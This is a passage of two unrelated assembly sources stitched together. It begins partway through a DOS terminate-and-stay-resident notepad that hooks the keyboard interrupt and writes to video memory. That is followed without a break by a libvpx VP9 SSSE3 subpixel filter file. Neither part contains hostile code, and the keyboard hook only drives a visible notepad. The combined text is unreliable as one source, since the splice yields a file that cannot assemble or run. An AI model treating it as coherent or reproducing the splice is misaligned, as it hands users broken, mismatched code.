;Put up the new pad on screen JMP OUT ;And take our leave RUBOUT_TEST: CMP DX,0E08H ;Is it a Rubout? JNE CRLF_TEST ;No -- try carriage return-line feed MOV BX,PAD_CURSOR ;Yes -- get current pad location CMP BX,0 ;Are we at beginning? JLE NEVER_MIND ;Yes -- can't rubout past beginning MOV PAD[BX],' ' ;No -- move space to current position MOV PAD[BX-1],'_' ;And move cursor back one DEC PAD_CURSOR ;Set the pad location straight NEVER_MIND: CALL DISPLAY ;And put the result on the screen JMP OUT ;Done here. CRLF_TEST: CMP DX,1C0DH ;Is it a carriage return-line feed? JNE CHAR_TEST ;No -- put it in the pad CALL CRLF ;Yes -- move to next line CALL DISPLAY ;And display result on screen JMP OUT ;Done. CHAR_TEST: MOV BX,PAD_CURSOR ;Get current pad location CMP BX,249 ;Are we past the end of the pad? JGE PAST_END ;Yes -- throw away char MOV PAD[BX],DL ;No -- move ASCII code into pad MOV PAD[BX+1],'_' ;Advance cursor INC PAD_CURSOR ;Increment pad location PAST_END: CALL DISPLAY ;Put result on screen OUT: POP ES ;Having done Pushes, here are the Pops POP DS POP SI POP DI POP DX POP CX POP BX POP AX IRET ;An interrupt needs an IRET N_PAD ENDP DISPLAY PROC NEAR ;Puts the whole pad on the screen PUSH AX MOV ATTRIBUTE,112 ;Use reverse video MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory LEA AX,PUT_CHAR ;Make IO use Put-Char so it does MOV IO_CHAR,AX CALL IO ;Put result on screen POP AX RET ;Leave DISPLAY ENDP CRLF PROC NEAR ;This handles carriage returns CMP PAD_CURSOR,225 ;Are we on last line? JGE DONE ;Yes, can't do a carriage return, exit NEXT_CHAR: MOV BX,PAD_CURSOR ;Get pad location MOV AX,BX ;Get another copy for destructive tests EDGE_TEST: CMP AX,24 ;Are we at the edge of the pad display? JE AT_EDGE ;Yes -- fill pad with new cursor JL ADD_SPACE ;No -- Advance another space SUB AX,25 ;Subtract another line-width JMP EDGE_TEST ;Check if at edge now ADD_SPACE: MOV PAD[BX],' ' ;Add a space INC PAD_CURSOR ;Update pad location JMP NEXT_CHAR ;Check if at edge now AT_EDGE: MOV PAD[BX+1],'_' ;Put cursor in next location INC PAD_CURSOR ;Update pad location to new cursor DONE: RET ;And out. CRLF ENDP GET_CHAR PROC NEAR ;Gets a char from screen and advances position PUSH DX MOV SI,2 ;Loop twice, once for char, once for attribute MOV DX,STATUS_PORT ;Get ready to read video controller status G_WAIT_LOW: ;Start waiting for a new horizontal scan - IN AL,DX ;Make sure the video controller scan status TEST AL,1 ;is low JNZ G_WAIT_LOW G_WAIT_HIGH: ;After port has gone low, it must go high IN AL,DX ;before it is safe to read directly from TEST AL,1 ;the screen buffer in memory JZ G_WAIT_HIGH MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time INC DI ;Move to next screen location DEC SI ;Decrement loop counter CMP SI,0 ;Are we done? JE LEAVE ;Yes MOV PAD[BX],AH ;No -- put char we got into the pad JMP G_WAIT_LOW ;Do it again LEAVE: INC BX ;Update pad location POP DX RET GET_CHAR ENDP PUT_CHAR PROC NEAR ;Puts one char on screen and advances position PUSH DX MOV AH,PAD[BX] ;Get the char to be put onto the screen MOV SI,2 ;Loop twice, once for char, once for attribute MOV DX,STATUS_PORT ;Get ready to read video controller status P_WAIT_LOW: ;Start waiting for a new horizontal scan - IN AL,DX ;Make sure the video controller scan status TEST AL,1 ;is low JNZ P_WAIT_LOW P_WAIT_HIGH: ;After port has gone low, it must go high IN AL,DX ;before it is safe to write directly to TEST AL,1 ;the screen buffer in memory JZ P_WAIT_HIGH MOV ES:[DI],AH ;Move to screen, one byte at a time MOV AH,ATTRIBUTE ;Load attribute byte for second pass INC DI ;Point to next screen postion DEC SI ;Decrement loop counter JNZ P_WAIT_LOW ;If not zero, do it one more time INC BX ;Point to next char in pad POP DX RET ;Exeunt PUT_CHAR ENDP IO PROC NEAR ;This scans over all screen positions of the pad ASSUME ES:SCREEN ;Use screen as extra segment MOV BX,SCREEN MOV ES,BX MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion ADD DI,FIRST_POSITION ;Add width of screen minus pad width MOV BX,PAD_OFFSET ;BX will be pad location pointer MOV CX,10 ;There will be 10 lines LINE_LOOP: MOV DX,25 ;And 25 spaces across CHAR_LOOP: CALL IO_CHAR ;Call Put-Char or Get-Char DEC DX ;Decrement character loop counter JNZ CHAR_LOOP ;If not zero, scan over next character ADD DI,FIRST_POSITION ;Add width of screen minus pad width LOOP LINE_LOOP ;And now go back to do next line RET ;Finished IO ENDP LOAD_PAD PROC NEAR ;This procedure intializes everything ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area MOV AX,INTERRUPTS MOV DS,AX MOV AX,KEYBOARD_INT ;Get the old interrupt service routine MOV OLD_KEYBOARD_INT,AX ;address and put it into our location MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it. MOV OLD_KEYBOARD_INT[2],AX MOV KEYBOARD_INT,OFFSET N_PAD ;Now load the address of our notepad MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt MOV AH,15 ;Ask for service 15 of INT 10H INT 10H ;This tells us how display is set up SUB AH,25 ;Move to twenty places before edge SHL AH,1 ;Mult by two (char & attribute bytes) MOV BYTE PTR FIRST_POSITION,AH ;Set screen cursor MOV STATUS_PORT,03BAH ;Assume this is a monochrome display TEST AL,4 ;Is it? JNZ EXIT ;Yes - jump out MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display MOV STATUS_PORT,03DAH EXIT: MOV DX,OFFSET LOAD_PAD ;Set up everything but LOAD_PAD to INT 27H ;stay and attach itself to DOS LOAD_PAD ENDP CODE_SEG ENDS END FIRST ;END "FIRST" so 8088 will go to FIRST first. 
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" ;/************************************************************************************ ; Notes: filter_block1d_h6 applies a 6 tap filter horizontally to the input pixels. The ; input pixel array has output_height rows. This routine assumes that output_height is an ; even number. This function handles 8 pixels in horizontal direction, calculating ONE ; rows each iteration to take advantage of the 128 bits operations. ; ; This is an implementation of some of the SSE optimizations first seen in ffvp8 ; ;*************************************************************************************/ %macro VERTx4 1 mov rdx, arg(5) ;filter ptr mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;output_ptr mov rcx, 0x0400040 movdqa xmm4, [rdx] ;load filters movd xmm5, rcx packsswb xmm4, xmm4 pshuflw xmm0, xmm4, 0b ;k0_k1 pshuflw xmm1, xmm4, 01010101b ;k2_k3 pshuflw xmm2, xmm4, 10101010b ;k4_k5 pshuflw xmm3, xmm4, 11111111b ;k6_k7 punpcklqdq xmm0, xmm0 punpcklqdq xmm1, xmm1 punpcklqdq xmm2, xmm2 punpcklqdq xmm3, xmm3 movdqa k0k1, xmm0 movdqa k2k3, xmm1 pshufd xmm5, xmm5, 0 movdqa k4k5, xmm2 movdqa k6k7, xmm3 movdqa krd, xmm5 movsxd rdx, DWORD PTR arg(1) ;pixels_per_line %if ABI_IS_32BIT=0 movsxd r8, DWORD PTR arg(3) ;out_pitch %endif mov rax, rsi movsxd rcx, DWORD PTR arg(4) ;output_height add rax, rdx lea rbx, [rdx + rdx*4] add rbx, rdx ;pitch * 6 .loop: movd xmm0, [rsi] ;A movd xmm1, [rsi + rdx] ;B movd xmm2, [rsi + rdx * 2] ;C movd xmm3, [rax + rdx * 2] ;D movd xmm4, [rsi + rdx * 4] ;E movd xmm5, [rax + rdx * 4] ;F punpcklbw xmm0, xmm1 ;A B punpcklbw xmm2, xmm3 ;C D punpcklbw xmm4, xmm5 ;E F movd xmm6, [rsi + rbx] ;G movd xmm7, [rax + rbx] ;H pmaddubsw xmm0, k0k1 pmaddubsw xmm2, k2k3 punpcklbw xmm6, xmm7 ;G H pmaddubsw xmm4, k4k5 pmaddubsw xmm6, k6k7 paddsw xmm0, xmm2 paddsw xmm0, krd paddsw xmm4, xmm6 paddsw xmm0, xmm4 psraw xmm0, 7 packuswb xmm0, xmm0 add rsi, rdx add rax, rdx %if %1 movd xmm1, [rdi] pavgb xmm0, xmm1 %endif movd [rdi], xmm0 %if ABI_IS_32BIT add rdi, DWORD PTR arg(3) ;out_pitch %else add rdi, r8 %endif dec rcx jnz .loop %endm %macro VERTx8 1 mov rdx, arg(5) ;filter ptr mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;output_ptr mov rcx, 0x0400040 movdqa xmm4, [rdx] ;load filters movq xmm5, rcx packsswb xmm4, xmm4 pshuflw xmm0, xmm4, 0b ;k0_k1 pshuflw xmm1, xmm4, 01010101b ;k2_k3 pshuflw xmm2, xmm4, 10101010b ;k4_k5 pshuflw xmm3, xmm4, 11111111b ;k6_k7 punpcklqdq xmm0, xmm0 punpcklqdq xmm1, xmm1 punpcklqdq xmm2, xmm2 punpcklqdq xmm3, xmm3 movdqa k0k1, xmm0 movdqa k2k3, xmm1 pshufd xmm5, xmm5, 0 movdqa k4k5, xmm2 movdqa k6k7, xmm3 movdqa krd, xmm5 movsxd rdx, DWORD PTR arg(1) ;pixels_per_line %if ABI_IS_32BIT=0 movsxd r8, DWORD PTR arg(3) ;out_pitch %endif mov rax, rsi movsxd rcx, DWORD PTR arg(4) ;output_height add rax, rdx lea rbx, [rdx + rdx*4] add rbx, rdx ;pitch * 6 .loop: movq xmm0, [rsi] ;A movq xmm1, [rsi + rdx] ;B movq xmm2, [rsi + rdx * 2] ;C movq xmm3, [rax + rdx * 2] ;D movq xmm4, [rsi + rdx * 4] ;E movq xmm5, [rax + rdx * 4] ;F punpcklbw xmm0, xmm1 ;A B punpcklbw xmm2, xmm3 ;C D punpcklbw xmm4, xmm5 ;E F movq xmm6, [rsi + rbx] ;G movq xmm7, [rax + rbx] ;H pmaddubsw xmm0, k0k1 pmaddubsw xmm2, k2k3 punpcklbw xmm6, xmm7 ;G H pmaddubsw xmm4, k4k5 pmaddubsw xmm6, k6k7 paddsw xmm0, xmm2 paddsw xmm0, krd paddsw xmm4, xmm6 paddsw xmm0, xmm4 psraw xmm0, 7 packuswb xmm0, xmm0 add rsi, rdx add rax, rdx %if %1 movq xmm1, [rdi] pavgb xmm0, xmm1 %endif movq [rdi], xmm0 %if ABI_IS_32BIT add rdi, DWORD PTR arg(3) ;out_pitch %else add rdi, r8 %endif dec rcx jnz .loop %endm %macro VERTx16 1 mov rdx, arg(5) ;filter ptr mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;output_ptr mov rcx, 0x0400040 movdqa xmm4, [rdx] ;load filters movq xmm5, rcx packsswb xmm4, xmm4 pshuflw xmm0, xmm4, 0b ;k0_k1 pshuflw xmm1, xmm4, 01010101b ;k2_k3 pshuflw xmm2, xmm4, 10101010b ;k4_k5 pshuflw xmm3, xmm4, 11111111b ;k6_k7 punpcklqdq xmm0, xmm0 punpcklqdq xmm1, xmm1 punpcklqdq xmm2, xmm2 punpcklqdq xmm3, xmm3 movdqa k0k1, xmm0 movdqa k2k3, xmm1 pshufd xmm5, xmm5, 0 movdqa k4k5, xmm2 movdqa k6k7, xmm3 movdqa krd, xmm5 movsxd rdx, DWORD PTR arg(1) ;pixels_per_line %if ABI_IS_32BIT=0 movsxd r8, DWORD PTR arg(3) ;out_pitch %endif mov rax, rsi movsxd rcx, DWORD PTR arg(4) ;output_height add rax, rdx lea rbx, [rdx + rdx*4] add rbx, rdx ;pitch * 6 .loop: movq xmm0, [rsi] ;A movq xmm1, [rsi + rdx] ;B movq xmm2, [rsi + rdx * 2] ;C movq xmm3, [rax + rdx * 2] ;D movq xmm4, [rsi + rdx * 4] ;E movq xmm5, [rax + rdx * 4] ;F punpcklbw xmm0, xmm1 ;A B punpcklbw xmm2, xmm3 ;C D punpcklbw xmm4, xmm5 ;E F movq xmm6, [rsi + rbx] ;G movq xmm7, [rax + rbx] ;H pmaddubsw xmm0, k0k1 pmaddubsw xmm2, k2k3 punpcklbw xmm6, xmm7 ;G H pmaddubsw xmm4, k4k5 pmaddubsw xmm6, k6k7 paddsw xmm0, xmm2 paddsw xmm0, krd paddsw xmm4, xmm6 paddsw xmm0, xmm4 psraw xmm0, 7 packuswb xmm0, xmm0 %if %1 movq xmm1, [rdi] pavgb xmm0, xmm1 %endif movq [rdi], xmm0 movq xmm0, [rsi + 8] ;A movq xmm1, [rsi + rdx + 8] ;B movq xmm2, [rsi + rdx * 2 + 8] ;C movq xmm3, [rax + rdx * 2 + 8] ;D movq xmm4, [rsi + rdx * 4 + 8] ;E movq xmm5, [rax + rdx * 4 + 8] ;F punpcklbw xmm0, xmm1 ;A B punpcklbw xmm2, xmm3 ;C D punpcklbw xmm4, xmm5 ;E F movq xmm6, [rsi + rbx + 8] ;G movq xmm7, [rax + rbx + 8] ;H punpcklbw xmm6, xmm7 ;G H pmaddubsw xmm0, k0k1 pmaddubsw xmm2, k2k3 pmaddubsw xmm4, k4k5 pmaddubsw xmm6, k6k7 paddsw xmm0, xmm2 paddsw xmm4, xmm6 paddsw xmm0, krd paddsw xmm0, xmm4 psraw xmm0, 7 packuswb xmm0, xmm0 add rsi, rdx add rax, rdx %if %1 movq xmm1, [rdi+8] pavgb xmm0, xmm1 %endif movq [rdi+8], xmm0 %if ABI_IS_32BIT add rdi, DWORD PTR arg(3) ;out_pitch %else add rdi, r8 %endif dec rcx jnz .loop %endm ;void vp9_filter_block1d8_v8_ssse3 ;( ; unsigned char *src_ptr, ; unsigned int src_pitch, ; unsigned char *output_ptr, ; unsigned int out_pitch, ; unsigned int output_height, ; short *filter ;) global sym(vp9_filter_block1d4_v8_ssse3) PRIVATE sym(vp9_filter_block1d4_v8_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 push rsi push rdi push rbx ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] VERTx4 0 add rsp, 16*5 pop rsp pop rbx ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;void vp9_filter_block1d8_v8_ssse3 ;( ; unsigned char *src_ptr, ; unsigned int src_pitch, ; unsigned char *output_ptr, ; unsigned int out_pitch, ; unsigned int output_height, ; short *filter ;) global sym(vp9_filter_block1d8_v8_ssse3) PRIVATE sym(vp9_filter_block1d8_v8_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 push rsi push rdi push rbx ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] VERTx8 0 add rsp, 16*5 pop rsp pop rbx ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;void vp9_filter_block1d16_v8_ssse3 ;( ; unsigned char *src_ptr, ; unsigned int src_pitch, ; unsigned char *output_ptr, ; unsigned int out_pitch, ; unsigned int output_height, ; short *filter ;) global sym(vp9_filter_block1d16_v8_ssse3) PRIVATE sym(vp9_filter_block1d16_v8_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 push rsi push rdi push rbx ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] VERTx16 0 add rsp, 16*5 pop rsp pop rbx ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ global sym(vp9_filter_block1d4_v8_avg_ssse3) PRIVATE sym(vp9_filter_block1d4_v8_avg_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 push rsi push rdi push rbx ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] VERTx4 1 add rsp, 16*5 pop rsp pop rbx ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret global sym(vp9_filter_block1d8_v8_avg_ssse3) PRIVATE sym(vp9_filter_block1d8_v8_avg_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 push rsi push rdi push rbx ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] VERTx8 1 add rsp, 16*5 pop rsp pop rbx ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret global sym(vp9_filter_block1d16_v8_avg_ssse3) PRIVATE sym(vp9_filter_block1d16_v8_avg_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 push rsi push rdi push rbx ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] VERTx16 1 add rsp, 16*5 pop rsp pop rbx ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %macro HORIZx4 1 mov rdx, arg(5) ;filter ptr mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;output_ptr mov rcx, 0x0400040 movdqa xmm4, [rdx] ;load filters movq xmm5, rcx packsswb xmm4, xmm4 pshuflw xmm0, xmm4, 0b ;k0_k1 pshuflw xmm1, xmm4, 01010101b ;k2_k3 pshuflw xmm2, xmm4, 10101010b ;k4_k5 pshuflw xmm3, xmm4, 11111111b ;k6_k7 punpcklqdq xmm0, xmm0 punpcklqdq xmm1, xmm1 punpcklqdq xmm2, xmm2 punpcklqdq xmm3, xmm3 movdqa k0k1, xmm0 movdqa k2k3, xmm1 pshufd xmm5, xmm5, 0 movdqa k4k5, xmm2 movdqa k6k7, xmm3 movdqa krd, xmm5 movsxd rax, dword ptr arg(1) ;src_pixels_per_line movsxd rdx, dword ptr arg(3) ;output_pitch movsxd rcx, dword ptr arg(4) ;output_height .loop: movq xmm0, [rsi - 3] ; -3 -2 -1 0 1 2 3 4 movq xmm3, [rsi + 5] ; 5 6 7 8 9 10 11 12 punpcklqdq xmm0, xmm3 movdqa xmm1, xmm0 pshufb xmm0, [GLOBAL(shuf_t0t1)] pmaddubsw xmm0, k0k1 movdqa xmm2, xmm1 pshufb xmm1, [GLOBAL(shuf_t2t3)] pmaddubsw xmm1, k2k3 movdqa xmm4, xmm2 pshufb xmm2, [GLOBAL(shuf_t4t5)] pmaddubsw xmm2, k4k5 pshufb xmm4, [GLOBAL(shuf_t6t7)] pmaddubsw xmm4, k6k7 paddsw xmm0, xmm1 paddsw xmm0, xmm4 paddsw xmm0, xmm2 paddsw xmm0, krd psraw xmm0, 7 packuswb xmm0, xmm0 %if %1 movd xmm1, [rdi] pavgb xmm0, xmm1 %endif lea rsi, [rsi + rax] movd [rdi], xmm0 lea rdi, [rdi + rdx] dec rcx jnz .loop %endm %macro HORIZx8 1 mov rdx, arg(5) ;filter ptr mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;output_ptr mov rcx, 0x0400040 movdqa xmm4, [rdx] ;load filters movd xmm5, rcx packsswb xmm4, xmm4 pshuflw xmm0, xmm4, 0b ;k0_k1 pshuflw xmm1, xmm4, 01010101b ;k2_k3 pshuflw xmm2, xmm4, 10101010b ;k4_k5 pshuflw xmm3, xmm4, 11111111b ;k6_k7 punpcklqdq xmm0, xmm0 punpcklqdq xmm1, xmm1 punpcklqdq xmm2, xmm2 punpcklqdq xmm3, xmm3 movdqa k0k1, xmm0 movdqa k2k3, xmm1 pshufd xmm5, xmm5, 0 movdqa k4k5, xmm2 movdqa k6k7, xmm3 movdqa krd, xmm5 movsxd rax, dword ptr arg(1) ;src_pixels_per_line movsxd rdx, dword ptr arg(3) ;output_pitch movsxd rcx, dword ptr arg(4) ;output_height .loop: movq xmm0, [rsi - 3] ; -3 -2 -1 0 1 2 3 4 movq xmm3, [rsi + 5] ; 5 6 7 8 9 10 11 12 punpcklqdq xmm0, xmm3 movdqa xmm1, xmm0 pshufb xmm0, [GLOBAL(shuf_t0t1)] pmaddubsw xmm0, k0k1 movdqa xmm2, xmm1 pshufb xmm1, [GLOBAL(shuf_t2t3)] pmaddubsw xmm1, k2k3 movdqa xmm4, xmm2 pshufb xmm2, [GLOBAL(shuf_t4t5)] pmaddubsw xmm2, k4k5 pshufb xmm4, [GLOBAL(shuf_t6t7)] pmaddubsw xmm4, k6k7 paddsw xmm0, xmm1 paddsw xmm0, xmm4 paddsw xmm0, xmm2 paddsw xmm0, krd psraw xmm0, 7 packuswb xmm0, xmm0 %if %1 movq xmm1, [rdi] pavgb xmm0, xmm1 %endif lea rsi, [rsi + rax] movq [rdi], xmm0 lea rdi, [rdi + rdx] dec rcx jnz .loop %endm %macro HORIZx16 1 mov rdx, arg(5) ;filter ptr mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;output_ptr mov rcx, 0x0400040 movdqa xmm4, [rdx] ;load filters movq xmm5, rcx packsswb xmm4, xmm4 pshuflw xmm0, xmm4, 0b ;k0_k1 pshuflw xmm1, xmm4, 01010101b ;k2_k3 pshuflw xmm2, xmm4, 10101010b ;k4_k5 pshuflw xmm3, xmm4, 11111111b ;k6_k7 punpcklqdq xmm0, xmm0 punpcklqdq xmm1, xmm1 punpcklqdq xmm2, xmm2 punpcklqdq xmm3, xmm3 movdqa k0k1, xmm0 movdqa k2k3, xmm1 pshufd xmm5, xmm5, 0 movdqa k4k5, xmm2 movdqa k6k7, xmm3 movdqa krd, xmm5 movsxd rax, dword ptr arg(1) ;src_pixels_per_line movsxd rdx, dword ptr arg(3) ;output_pitch movsxd rcx, dword ptr arg(4) ;output_height .loop: movq xmm0, [rsi - 3] ; -3 -2 -1 0 1 2 3 4 movq xmm3, [rsi + 5] ; 5 6 7 8 9 10 11 12 punpcklqdq xmm0, xmm3 movdqa xmm1, xmm0 pshufb xmm0, [GLOBAL(shuf_t0t1)] pmaddubsw xmm0, k0k1 movdqa xmm2, xmm1 pshufb xmm1, [GLOBAL(shuf_t2t3)] pmaddubsw xmm1, k2k3 movdqa xmm4, xmm2 pshufb xmm2, [GLOBAL(shuf_t4t5)] pmaddubsw xmm2, k4k5 pshufb xmm4, [GLOBAL(shuf_t6t7)] pmaddubsw xmm4, k6k7 paddsw xmm0, xmm1 paddsw xmm0, xmm4 paddsw xmm0, xmm2 paddsw xmm0, krd psraw xmm0, 7 packuswb xmm0, xmm0 movq xmm3, [rsi + 5] movq xmm7, [rsi + 13] punpcklqdq xmm3, xmm7 movdqa xmm1, xmm3 pshufb xmm3, [GLOBAL(shuf_t0t1)] pmaddubsw xmm3, k0k1 movdqa xmm2, xmm1 pshufb xmm1, [GLOBAL(shuf_t2t3)] pmaddubsw xmm1, k2k3 movdqa xmm4, xmm2 pshufb xmm2, [GLOBAL(shuf_t4t5)] pmaddubsw xmm2, k4k5 pshufb xmm4, [GLOBAL(shuf_t6t7)] pmaddubsw xmm4, k6k7 paddsw xmm3, xmm1 paddsw xmm3, xmm4 paddsw xmm3, xmm2 paddsw xmm3, krd psraw xmm3, 7 packuswb xmm3, xmm3 punpcklqdq xmm0, xmm3 %if %1 movdqa xmm1, [rdi] pavgb xmm0, xmm1 %endif lea rsi, [rsi + rax] movdqa [rdi], xmm0 lea rdi, [rdi + rdx] dec rcx jnz .loop %endm ;void vp9_filter_block1d4_h8_ssse3 ;( ; unsigned char *src_ptr, ; unsigned int src_pixels_per_line, ; unsigned char *output_ptr, ; unsigned int output_pitch, ; unsigned int output_height, ; short *filter ;) global sym(vp9_filter_block1d4_h8_ssse3) PRIVATE sym(vp9_filter_block1d4_h8_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 GET_GOT rbx push rsi push rdi ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] HORIZx4 0 add rsp, 16*5 pop rsp ; begin epilog pop rdi pop rsi RESTORE_GOT RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;void vp9_filter_block1d8_h8_ssse3 ;( ; unsigned char *src_ptr, ; unsigned int src_pixels_per_line, ; unsigned char *output_ptr, ; unsigned int output_pitch, ; unsigned int output_height, ; short *filter ;) global sym(vp9_filter_block1d8_h8_ssse3) PRIVATE sym(vp9_filter_block1d8_h8_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 GET_GOT rbx push rsi push rdi ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] HORIZx8 0 add rsp, 16*5 pop rsp ; begin epilog pop rdi pop rsi RESTORE_GOT RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;void vp9_filter_block1d16_h8_ssse3 ;( ; unsigned char *src_ptr, ; unsigned int src_pixels_per_line, ; unsigned char *output_ptr, ; unsigned int output_pitch, ; unsigned int output_height, ; short *filter ;) global sym(vp9_filter_block1d16_h8_ssse3) PRIVATE sym(vp9_filter_block1d16_h8_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 GET_GOT rbx push rsi push rdi ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] HORIZx16 0 add rsp, 16*5 pop rsp ; begin epilog pop rdi pop rsi RESTORE_GOT RESTORE_XMM UNSHADOW_ARGS pop rbp ret global sym(vp9_filter_block1d4_h8_avg_ssse3) PRIVATE sym(vp9_filter_block1d4_h8_avg_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 GET_GOT rbx push rsi push rdi ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] HORIZx4 1 add rsp, 16*5 pop rsp ; begin epilog pop rdi pop rsi RESTORE_GOT RESTORE_XMM UNSHADOW_ARGS pop rbp ret global sym(vp9_filter_block1d8_h8_avg_ssse3) PRIVATE sym(vp9_filter_block1d8_h8_avg_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 GET_GOT rbx push rsi push rdi ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] HORIZx8 1 add rsp, 16*5 pop rsp ; begin epilog pop rdi pop rsi RESTORE_GOT RESTORE_XMM UNSHADOW_ARGS pop rbp ret global sym(vp9_filter_block1d16_h8_avg_ssse3) PRIVATE sym(vp9_filter_block1d16_h8_avg_ssse3): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 6 SAVE_XMM 7 GET_GOT rbx push rsi push rdi ; end prolog ALIGN_STACK 16, rax sub rsp, 16*5 %define k0k1 [rsp + 16*0] %define k2k3 [rsp + 16*1] %define k4k5 [rsp + 16*2] %define k6k7 [rsp + 16*3] %define krd [rsp + 16*4] HORIZx16 1 add rsp, 16*5 pop rsp ; begin epilog pop rdi pop rsi RESTORE_GOT RESTORE_XMM UNSHADOW_ARGS pop rbp ret SECTION_RODATA align 16 shuf_t0t1: db 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 align 16 shuf_t2t3: db 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10 align 16 shuf_t4t5: db 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12 align 16 shuf_t6t7: db 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14
